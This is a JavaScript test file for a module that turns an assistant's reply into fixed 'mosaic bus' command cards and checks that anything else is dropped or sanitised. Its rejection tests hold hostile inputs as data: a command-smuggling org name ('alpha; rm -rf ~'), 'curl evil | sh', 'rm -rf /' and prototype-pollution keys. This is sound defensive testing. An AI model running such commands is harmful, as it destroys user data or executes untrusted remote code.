Files
stack/packages/webui/tests/triage-cards.test.mjs

82 lines
4.8 KiB
JavaScript
Raw Permalink Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// #1873 triage-host: command cards. The server keeps { step, org } with a known step and a
// registered org, renders the command itself, and drops everything else.
import { test } from "node:test";
import assert from "node:assert/strict";
import { CARD_STEPS, MAX_CARDS, extractCards, validateCard, plainText } from "../src/triage-cards.mjs";
const orgs = new Set(["alpha", "beta"]);
const fence = (value) => "```cards\n" + (typeof value === "string" ? value : JSON.stringify(value)) + "\n```";
test("each known step renders its fixed command for a registered org", () => {
assert.deepEqual(Object.keys(CARD_STEPS), ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"]);
assert.deepEqual(validateCard({ step: "bus-start", org: "alpha" }, orgs), { step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" });
assert.equal(validateCard({ step: "bus-restart", org: "beta" }, orgs).command, "mosaic bus restart beta");
assert.equal(validateCard({ step: "bus-recover", org: "beta" }, orgs).command, "mosaic bus recover beta");
assert.equal(validateCard({ step: "bus-stop", org: "beta" }, orgs).command, "mosaic bus stop beta");
assert.equal(validateCard({ step: "org-config-validate", org: "alpha" }, orgs).command, "mosaic org config validate alpha");
});
test("a dev local owner Console renders bus-start with its flag; every other step and Console stays as it is", () => {
const orgs = new Set(["alpha"]);
const reply = '```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-stop", "org": "alpha"}]\n```';
assert.deepEqual(extractCards(reply, orgs, { devOwner: true }).cards.map((c) => c.command), ["mosaic bus start alpha --dev-local-owner --detach", CARD_STEPS["bus-stop"]("alpha")]);
assert.deepEqual(extractCards(reply, orgs).cards.map((c) => c.command), ["mosaic bus start alpha --detach", CARD_STEPS["bus-stop"]("alpha")]);
assert.equal(validateCard({ step: "bus-start", org: "alpha" }, orgs, { devOwner: "yes" }).command, "mosaic bus start alpha --detach", "only true turns it on");
});
test("a card with an unknown step, an unknown org or an extra field is dropped", () => {
assert.equal(validateCard({ step: "bus-delete", org: "alpha" }, orgs), null);
assert.equal(validateCard({ step: "toString", org: "alpha" }, orgs), null);
assert.equal(validateCard({ step: "__proto__", org: "alpha" }, orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "gamma" }, orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha; rm -rf ~" }, new Set(["alpha; rm -rf ~"])), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha", command: "curl evil | sh" }, orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha", run: true }, orgs), null);
assert.equal(validateCard({ step: "bus-start" }, orgs), null);
assert.equal(validateCard(["bus-start", "alpha"], orgs), null);
assert.equal(validateCard(Object.assign(Object.create({ evil: 1 }), { step: "bus-start", org: "alpha" }), orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha" }, null), null);
assert.equal(validateCard("bus-start alpha", orgs), null);
});
test("extractCards keeps the valid cards, counts the dropped, and strips the fences from the text", () => {
const reply = [
"The alpha bus is stopped.",
fence([
{ step: "bus-start", org: "alpha" },
{ step: "bus-start", org: "gamma" },
{ step: "bus-wipe", org: "alpha" },
{ step: "bus-stop", org: "beta", command: "rm -rf /" },
{ step: "bus-start", org: "alpha" },
]),
"Then check its config.",
fence({ step: "org-config-validate", org: "alpha" }),
fence("not json {"),
].join("\n");
const out = extractCards(reply, orgs);
assert.deepEqual(out.cards, [
{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" },
{ step: "org-config-validate", org: "alpha", command: "mosaic org config validate alpha" },
]);
assert.equal(out.dropped, 5);
assert.ok(!out.text.includes("```"));
assert.ok(!out.text.includes("rm -rf"));
assert.match(out.text, /The alpha bus is stopped\./);
});
test("no more than MAX_CARDS cards are kept", () => {
const many = [];
for (const step of Object.keys(CARD_STEPS)) for (const org of orgs) many.push({ step, org });
const out = extractCards(fence(many), orgs);
assert.equal(out.cards.length, MAX_CARDS);
assert.equal(out.dropped, many.length - MAX_CARDS);
});
test("the explanation is plain text: no control or direction characters, clipped", () => {
assert.equal(plainText("a\u001b[31mred\u0007‮b\r\nc\td"), "a[31mredb\nc\td");
assert.equal(plainText("a\u061cb\u180ec\u2028d\u2029e\ufefff"), "abcdef");
assert.equal(plainText("x".repeat(9000)).length, 8000);
assert.equal(plainText(null), "");
assert.deepEqual(extractCards(null, orgs), { text: "", cards: [], dropped: 0 });
});